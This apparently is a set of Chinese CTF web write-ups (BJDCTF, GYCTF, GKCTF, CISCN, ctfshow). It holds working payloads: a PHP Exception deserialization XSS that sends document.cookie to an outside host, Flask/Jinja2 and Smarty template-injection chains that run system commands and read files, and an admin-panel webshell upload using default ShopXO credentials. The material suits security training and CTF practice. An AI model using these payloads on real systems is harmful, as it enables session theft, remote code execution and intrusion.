[BJDCTF 2nd]xss之光
扫后台,有.git 泄露
githack下载下来
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
源码只有这三行。
可触发序列化中的魔术方法__toString
__toString
的原生类:
- ERROR 适用于php7版本
Error类就是php的一个内置类用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个toString的方法。 - EXCEPTION 适用于php5、7版本
这个类利用的方式和原理和Error 类一模一样,但是适用于php5和php7,相对之下更加好用
<?php
$y1ng = new Exception("<script>window.open('url/?'+document.cookie);</script>");
echo urlencode(serialize($y1ng));
?>
//window.open 是 javaScript 打开新窗口的方法
也可以用window.location.href='url'来实现恶意跳转
<?php
$a = new Exception("<script>window.location.href='url'+document.cookie</script>");
echo urlencode(serialize($a));
?>
或者用alert(document.cookie)直接弹出cookie,但此题不行,可能开了httponly(见附录)。
<?php
$y1ng = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($y1ng));
?>
引自这篇文章
<?php
$y1ng = new Exception("<script>window.open('http://68d1a13c-abde-4bcc-aa80-eb78d3e543cc.node3.buuoj.cn//?'+document.cookie);</script>");
echo urlencode(serialize($y1ng));
?>
?yds_is_so_beautiful=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A110%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2F68d1a13c-abde-4bcc-aa80-eb78d3e543cc.node3.buuoj.cn%2F%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
我也不知道为啥在这里
[GYCTF2020]FlaskApp
官方write up说看到根据hint1,失败乃成功之母,应该能想到flask的debug模式。
debug模式的情况下可以抛出详细异常信息
base64解密界面随意输入字符串,导致解码报错
提示存在ssti注入
flask模板注入框架
查看根目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
读源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
可以看到过滤了很多关键词
用字符拼接法,
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
读取文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
这里过滤了flag,用字符串倒序的方法
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}
[GKCTF2020]老八小超市儿
进去之后是一个由ShopXO CMS搭建的网站
默认后台地址以及账号密码:/admin.php | admin:shopxo
进入后台,主题传马
传到_static_目录下
这一步一开始我用的是1.7的不行,1.8才可以
蚁剑连接
flag里面是假的
flag.hint,让我们获得root权限
auto.sh,每60s执行一次这个py程序,名字还是makeflaghint,猜测它有root权限
在程序中添加两行代码
flag=io.open("/root/flag","r").read()
f.write(str(flag))
然后等60s
[CISCN2019 华东南赛区]Web11
看到这个页面就想到抓包xff处注入
猜测有ssti
smarty模板注入
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
{if system('ls ../../../../..')}{/if}
{if readfile('/flag')}{/if}
web254
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
代码审计,首先初始化ctfShowUser类,在第二层if当中首先执行login方法,用于判断我们get传入的参数username和password是否与类中一致,发现用户名和密码都是xxxxxx
,因此我们只需要传入username=xxxxxx&password=xxxxxx
即可获取flag